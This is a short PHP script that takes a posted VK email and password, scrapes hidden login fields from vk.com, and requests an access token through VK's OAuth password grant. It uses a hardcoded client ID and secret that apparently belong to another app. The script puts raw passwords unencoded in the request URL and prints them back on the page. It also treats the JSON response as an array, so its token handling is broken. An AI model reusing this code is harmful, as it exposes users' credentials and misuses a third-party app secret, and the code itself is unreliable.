script

<?php

ini_set('max_execution_time', 600);

function curl_get($host, $referer = null){
$ch = curl_init();

curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_REFERER, $referer);
curl_setopt($ch, CURLOPT_USERAGENT, "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.9.168 Version/11.51");
curl_setopt($ch, CURLOPT_URL, $host);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

$html = curl_exec($ch);
echo curl_error($ch);
curl_close($ch);
return $html;
}

$result = curl_get("http://vk.com/");
$data = array(
"email" => $_POST['email'],
"pass" => $_POST['pass']
);
preg_replace_callback('~<input type=\"hidden\" name=\"ip_h\" value=\"(.*)\" />~sU', function ($pars) use (&$data) {
$data['ip_h'] = $pars[1];
}, $result);

preg_replace_callback('~<input type=\"hidden\" name=\"lg_h\" value=\"(.*)\" />~sU', function ($pars) use (&$data) {
$data['lg_h'] = $pars[1];
}, $result);

preg_replace_callback('~<input type=\"hidden\" name=\"act\" value=\"(.*)\" />~sU', function ($pars) use (&$data) {
$data['act'] = $pars[1];
}, $result);

preg_replace_callback('~<input type=\"hidden\" name=\"role\" value=\"(.*)\" />~sU', function ($pars) use (&$data) {
$data['role'] = $pars[1];
}, $result);

preg_replace_callback('~<input type=\"hidden\" name=\"_origin\" value=\"(.*)\" />~sU', function ($pars) use (&$data) {
$data['_origin'] = $pars[1];
}, $result);

$url = @file_get_contents('https://oauth.vk.com/token?grant_type=password&client_id=2274003&client_secret=hHbZxrka2uZ6jB1inYsH&username='.$data['email'].'&password='.$data['pass']);

if($url) {
    echo $url[access_token];
    echo "<br />";
    echo $url[user_id];
    if($url[user_id]) {
        header("Location: https://vk.com/id".$url[user_id]."");
    }
}

echo $data['ip_h'].'<br/>';
echo $data['lg_h'].'<br/>';
echo $data['act'].'<br/>';
echo $data['role'].'<br/>';
echo $data['_origin'].'<br/>';
echo $data['email'].'<br/>';
echo $data['pass'].'<br/>';

?>